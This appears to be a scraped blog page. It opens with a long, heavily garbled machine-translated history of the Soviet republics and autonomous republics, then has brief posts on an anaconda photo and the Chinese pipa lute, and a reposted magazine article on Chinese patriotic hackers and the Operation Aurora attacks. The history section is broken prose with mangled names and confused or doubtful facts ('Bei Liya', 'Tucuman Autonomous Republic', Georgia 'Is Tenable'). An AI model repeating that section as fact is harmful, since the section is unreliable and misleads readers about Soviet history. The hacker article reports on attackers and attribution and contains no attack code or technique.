　　After In 1917 Russian Empire Disintegration, The Caucasus Area's Province Has Founded An Own Named Transcaucasia Federation Joint Nation. But Between Its Constituent's Disagreement And Has Caused This Federal Republic Fission With Turkey's War In April, 1918. In The Hereafter Several Years These Areas Are Destroyed By The Civil War, Under The Soviet Red Army's Interference Its Three Constituent In March 12, 1922 In Tbilisi Announced That Establishes The Transcaucasia Soviet Socialism Federal Republic. On December 30, 1922 The Transcaucasia Soviet Socialism Federal Republic Joined Soviet Union Officially. But Georgian And Azerbaijan's Communist Party Is Discontented To This Alliance, Therefore In The Rough Continually Season. Under Bei Liya Influence The Transcaucasia Soviet Socialism Federal Republic Decomposes Into Its Composition Three Parts. These Three Parts (Armenian Soviet Socialism Republic, Georgian Soviet Socialism Republic And Azerbaijanian Soviet Socialism Republic) Distinguishes To Become Soviet Union's Republic Respectively.

On February 25, 1921 Established The Georgian Soviet Socialism Republic, In December, The Abkhazia Soviet Socialism Republic Joined Georgia In The Same Year. The 1931 Year Abkhazia Soviet Socialism Republic Changes Name As The Abkhazia Soviet Socialism Autonomous Republic, Becomes The Georgian Soviet Socialism Republic Autonomous Republic Georgia Soviet Socialism Republic National Emblem The 1922 Year, By Georgia, Azerbaijan And Armenia Is Composed The Transcaucasia Soviet Socialism Federal Republic, Becomes The Soviet Socialism Republic Alliance To Initiate One Of Member Nations. The 1936 Year, The Georgian Soviet Socialism Republic Is Tenable, Becomes One Of Soviet Union Republic. The 1991 Year, Soviet Union Disintegrates, The Standard Obtains The Independence, Changes The Country's Name For The Georgian Republic. In 1995 Changed Name As Georgia.

Armenia（1936 --- 1991）

Azerbaijan 1922 - 1991

In November, 1917 Has Established The Soviet Political Power - - Baku People's Commune. In 1918 The Summer, British And Turkey's Armed Intervention Soviet Union, Has Seized Azerbaijan Short, Establishes The Azerbaijanian Democratic Republic, Afterward Restored The Soviet Political Power Under The Soviet Red Army Help. On April 28, 1920, The Azerbaijanian Soviet Socialism Republic Was Tenable .

Kazakhstan Is A Former Autonomous Republic Of The USSR And Declared Independence In 1991 .

After Russia Has The October Revolution, The Khazak Tenable Soviet Political Power, On August 26, 1920 Established The Ownership In The Russian Federation Kirghiz Soviet Socialism Autonomous Republic. On April 19, 1925 Renamed The Khazak Soviet Socialism Autonomous Republic. On December 5 ,1936 Changes Name As The Khazak Soviet Socialism Republic .

In 1917, Kirghiz Has Established The Soviet Political Power, In 1924 Became The Russian Soviet Socialism Republic An Autonomous Prefecture. In 1936 Established The Kirghiz Soviet Socialism Republic And Joins Soviet Union. On August 31, 1991 Announced That Is Separated From Soviet Union To Be Independent, Changes The Country's Name Is The Kirghizia Republic, The People Who Live In Kyrgyzstan Today Have A Diverse And Complicated History . They Are From Many Different Places And Ethnic Backgrounds .

Turkmen Constituent Republic Of Southern Central Asian USSR. Corresponding Roughly To The Historical Region , It Became A Constituent Republic In 1925 . Ashkhabad Is The Capital.

Ўзбекистон Совет Социалистик Республикаси，O'zbekiston Sovet Sotsialistik Respublikasi ；Узбекская Советская Социалистическая Республика，Uzbek .

In November, 1917 Established The Soviet Political Power, On October 27, 1924 Established The Uzbekistan Soviet Socialism Republic And Joins Soviet Union. On August 31,1991 The Declare Independence, Changes The Country's Name For The Uzbekistan Republic.

November, 1917 To February, 1918, The Tajik Northern Area Has Established The Soviet Political Power, Subordinates In Soviet Russia's Tucuman Autonomous Republic. In 1920 Established The Bukhara Soviet People's Republic. In 1924 Established - Tajik Soviet Socialism Autonomous Republic, Changed Subordination Belongs To The Uzbekistan Soviet Socialism Republic. In 1929 Established The Tajik Soviet Socialism Republic, Became Soviet Union Central Directly Under Union Republic. The 1990 Year Tajik Declare Independence, At The End Of August, 1991 Changed The Name As The Republic Of Tajikistan .

Moldova Has Close Ethnic , Cultural And Linguistic Ties With Romania . It Was Briefly Part Of Romania Between First And Second World Wars .In June, 1940, Soviet Union Seized Moldova Again, Established The Moldavia Soviet Socialism Republic. The 1991 Year On August 27 The Declare Independence, Changes Name As The Moldova Republic.

Karjalais-Suomalainen Sosialistinen Neuvostotasavalta , Karelia

On July 16, 1956, Soviet Union Announced That The Rescission Karelia- Finland Soviet Socialism Republic Organization System, Merges It Originally The Identical Administrative Rank Russian Soviet Socialism Republic, And Changes Name As The Karelia Autonomous Republic.

Дальневосточная Республика，ДВР

1920 The Far East Republic, In 1922, Merged The Russian Soviet Socialism Republic.

Abkhazia Soviet Socialism Republic

Ajaria Soviet

Bashkirian Autonomous Republic

Buryat Autonomous Republic

Chuvashia Autonomous Republic

Dagestan Autonomous Republic

Kabardino Balkariya Autonomous Republic

Kalmykia Autonomous Republic

Karelia Autonomous Republic

Komi Autonomous Republic

Mari El Autonomous Republic

Moldavia Autonomous Republic

North Ossetia Autonomous Republic

Tatar Autonomous Republic

The Soviet Union Annexes The Tuvan People's Republic , Which Is Then Made A Part Of The Russian SFSR.

Udmurtija Autonomous Republic

Yakutia Autonomous Republic

Uzbek's Karakalpaken Autonomous Republic ,

Windwing: Flag In China

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Anaconda And Tiger

2011-04-20T16:35:00.001+08:00

A Large Anaconda Has Brown Markings And Kills Its Prey By Constriction.

This Is A Old Paper And Foto ...

That's Ture ???

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China's Hacker Army

2011-04-18T20:14:00.001+08:00

China's Hacker Army

http://www.foreignpolicy.com/articles/2010/03/03/china_s_hacker_army

A flier for a prominent Chinese hacker's presentation on the how-tos and wherefores of hacking, drawing on sources as diverse as Shakespeare, the Diamond Sutra, and … Google. Click through to view FP's exclusive slideshow.

The autobiography of hacker SharpWinner opens on a bunch of young men in a high-rise apartment thick with cigarette smoke, in an unnamed city somewhere in China. Hacking is hard work, and this particular group, one of hundreds spread across the country, has been at it for hours. But the alpha male of the group, a "handsome and bright youth" -- throughout The Turbulent Times of the Red Hackers, SharpWinner refers to himself in the third person -- is unflappable. After he completes a backdoor intrusion into a Japanese website, he takes a break to field text messages from female admirers.

It would be easy to dismiss SharpWinner, who has promoted his book on national television, claiming he has a movie deal in the works, as an attention-hungry stuntman. And in fact, the news that Google and dozens of other companies had been hit by a mammoth attack originating in China this past winter evoked the strong arm of the Chinese government -- not SharpWinner's amorphous world of hacker bandits. The Internet giant said the decision to go public with information on Operation Aurora, as the hack has been dubbed, "goes to the heart of a much bigger global debate about freedom of speech." The Chinese government's spying on the email accounts of human rights activists, Google intimated, was behind its threat to pull out of China. (It has yet to make good on that claim.)

But a report released Tuesday by Atlanta security firm Damballa says the Aurora attack looks like work of amateurs working with unsophisticated tools. That revelation, along with a separate story in the Financial Times that a freelancer wrote the Aurora code, is focusing attention on China's loose web of cowboy hackers. And SharpWinner -- the leader of a coalition including anywhere from 50,000 to 100,000 civilian members and, before he disappeared from public view in 2007, a regular participant in international cyberconflicts, including the 2001 hacker war stretching from China to the White House -- is just the beginning.

A Chinese Hacker's Manifesto
How star codebreakers like SharpWinner, above, master their trade.

The Aurora attacks represented an attempt by hackers apparently based in China to steal valuable information from leading U.S. companies. (So far the list of victims includes Adobe Systems and Dow Chemical, in addition to Google.* Over the weekend, a security researcher told Computerworld that Aurora might have penetrated more than 100 firms.) Investigators are still trying to understand where Aurora came from and what it means, but already some surprising clues have emerged. The Financial Times story followed on the heels of a New York Times story reporting that researchers have traced the attacks back to two Chinese universities, one of which has long been a training ground for freelance or "patriotic" hackers. Among the implications of these reports: The U.S. understanding of Chinese hacking is seriously out of date.

Western media accounts typically overlook freelancers in favor of bluster about the Chinese government. Some pair breathy accounts of cyberwar with images dredged up from 1960s People's Liberation Army propaganda, as if to suggest China has some centrally administered cyberbureau housing an army of professional hackers. Others make improbable or unsubstantiated allegations. Two years ago, a National Journal cover story claimed Chinese hackers were responsible for the 2003 blackout that crippled much of the U.S. Northeast, an event repeated investigations have attributed to domestic negligence.

In fact, the hacking scene in China probably looks more like a few intelligence officers overseeing a jumble of talented -- and sometimes unruly -- patriotic hackers. Since the 1990s, China has had an intelligence program targeting foreign technology, says James A. Lewis, senior fellow for cybersecurity and Internet policy at the Center for Strategic and International Studies. Beyond that, however, things get complicated. "The hacking scene can be chaotic," he says. "There are many actors, some directed by the government and others tolerated by it. These actors can include civilian agencies, companies, and individuals."

To anyone who speaks Chinese, that chaos is obvious. Google the characters for heike -- a transliteration of "hacker" that means, literally, "black guest" -- and you'll come up with pages and pages of results. Sites such as www.chinahacker.com, www.cnhacker.com, and www.hackbase.com contain step-by-step instructions, advertisements for how-to seminars -- become a hacker in a few short weeks! -- and screen shots of foreign casualties. And yet they are clearly not the work of the central government. Read on (or don't -- the sites are packed with malware and users visit at their own peril) and you'll find threads roiling with bitter infighting, foul-mouthed forum posts, and photos of scantily clad women.

"There are literally hundreds of these sites," says Scott J. Henderson, an intelligence contractor and former U.S. Army linguist who has written a book on Chinese hackers. "They all have different agendas and different personnel. It's not as well-coordinated as everyone sitting down in a room and someone saying, 'You, go write this code.' 'You, go write that.'"

Instead, China's hackers spring up organically. Mix together widespread youth nationalism with a highly wired population -- China now boasts the most Internet users in the world, with 384 million people online -- and out comes patriotic hacking. The self-described "red hackers" are the product of the "the fact that we live in a time when our country is moving toward prosperity," SharpWinner once said, quite accurately. Prosperity also ensures a market for abundant hacker memorabilia: hacker magazines, hacker T-shirts, and tell-all books like his. While traveling through rural China once, I stumbled across bins in a village store filled with Hacker brand candy. (It tastes like saltwater taffy.)

Every August, top hackers convene in Beijing for a conference ostensibly about information security but described by one participant as including seminars on common attack techniques. China's hackerati range from flamboyant prima donnas like SharpWinner to Sunwear, a slight, pixie-ish twentysomething who marks his website defacements with the innocuous tag line "just for fun!", to Xiao Tian, the unattainable femme fatale leader of China Girl Security Team.??Many of their causes neatly overlap with the interests of the Chinese government. Take one of the events that drove the development of hacker culture in China: the 1999 NATO bombing of the Chinese Embassy in Belgrade. In retaliation, hackers plastered the website of the U.S. Embassy in Beijing with the phrase "Down with the Barbarians!" Or the targeting of email accounts of the Save Darfur Coalition, which opposes Chinese involvement in Sudan, in 2008. Or GhostNet, the cyberspying operation originating in China that was revealed last year to have infected 1,295 computers in 103 countries -- including the Dalai Lama's network in Dharamsala, India. The University of Toronto researchers who uncovered the attack have not yet pinpointed its architects, but in a report on the attack, they noted the operation could easily be the work of patriotic hackers using "do-it-yourself signals intelligence."

But the fact that these hackers' interests overlap with Chinese policy does not mean they are working on behalf of Beijing, and indeed many of their activities suggest no government interference at all. "Governments are not taking over botnets of compromised computers to conduct denial-of-service attacks," says Dorothy Denning, a professor of defense analysis at the Naval Postgraduate School in Monterey, Calif. It helps, however, that Beijing turns a blind eye to their attacks. An unwritten rule holds that freelance hackers are left alone as long as they target foreign sites and companies. Once they go after information inside China, the government cracks down. For a hacker interested in self-preservation, the choice is clear.

Another part of the bargain appears to be remaining open to government requests. If the Financial Times report is correct, Operation Aurora was executed with code developed by a thirtysomething freelance Web security consultant working independently, without government prodding. According to the paper's informant, described as a U.S. government researcher, the hacker simply posted a chunk of the code on a hacking forum, where it found its way into Chinese government hands. "He would rather not have uniformed guys looking over his shoulder, but there is no way anyone of his skill level can get away from that kind of thing," the researcher was quoted as saying.

The rest of the story should become clearer in coming months. But another report traces the attacks to servers at Shanghai Jiao Tong University's School of Information Security Engineering, one of China's top computer science schools and a hotbed for freelance hackers. For years, students there have freely organized hacker groups and traded war stories in forums hosted on the school website. In 2007, Shanghai Jiaotong graduate student and veteran hacker Peng Yinan hosted an information session titled "Hacker in a Nutshell" in a school conference room. The PowerPoint slides he worked off -- which until recently could be downloaded from his group's website, now down -- glorify hacker culture and explain successful techniques that can be tried at home, pointing out that Chicago Tribune reporters once uncovered contact information for thousands of CIA agents using a basic online service. A flier advertising the event described Peng as a consultant for the Shanghai Public Security Bureau.

Another student whose screen name appears on Peng's hacks -- but who told me he wasn't involved -- went on to work for Google.

Could Operation Aurora have been written by a freelancer, picked up by a bureaucrat, and then reassigned to a freelancer with ties to Google? It is a possibility worth entertaining, at least. Some have argued that the Chinese government should have more effective means for securing intelligence than students and online misfits. But others say a decentralized approach suits Beijing just fine. "You can see the benefits of having a blurry line," says Lewis. "The Russians do it all the time with Estonia: 'Of course it wasn't us. Can you prove it was us?'"

Ultimately, a loose connection between Beijing intelligence operatives and patriotic hackers is more troubling than a strong one. Governments operate under constraints. Gangs of young men -- as the United States has learned the hard way -- don't. "Certainly if it's government-sponsored cyberwarfare, I have someone I can deter," says Henderson. "If it's mutually assured online destruction -- OK, I can at least develop a theory on that. But with rogue Internet actors it's very difficult. They're potentially very dangerous."

The thought would flatter SharpWinner. In his TV appearance, he confided his concerns about hacking culture in China. He had witnessed the disintegration of some prominent hacker groups, and he fretted that most patriots simply get on board whenever some international incident flares up and lay off hacking foreign companies once things cool down. But with a little effort these challenges can be overcome, he concluded, saying that he is encouraged by a recent resurgence of interest in hacking. Then he addressed listeners directly. "Brothers," he intoned, "go with me! The future of red hacking is bright!"

*The original version of this article cited reports that RAND Corporation had been hit by Aurora. A RAND spokesman wrote in to say "RAND has not been hit -- we have no evidence of attacks or having been targeted by Aurora."

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The Language Of PiPa

2011-04-13T21:34:00.001+08:00

The Language Of PiPa

The PiPa, Lute Of Chinese Origin, Is One Of The Oldest Musical Instruments In The World .Famous As The King Of Chinese Folk Instruments , PiPa Yields Both Distinct Performing Techniques And Artistic Expressivity .
Song Of Everlasting Sorrow And Song Of A PiPa Player Are The Lasting Masterpieces,Which Exhibit An Almost Perfect Unity Of Narrative Technique And Lyrical Artistry In Ancient Classical Poetry .
In Dancing Costume And Holding The PiPa In Her Hands,Pian-Pian Draws A Graceful Dance Pose, Almost As If Flying .

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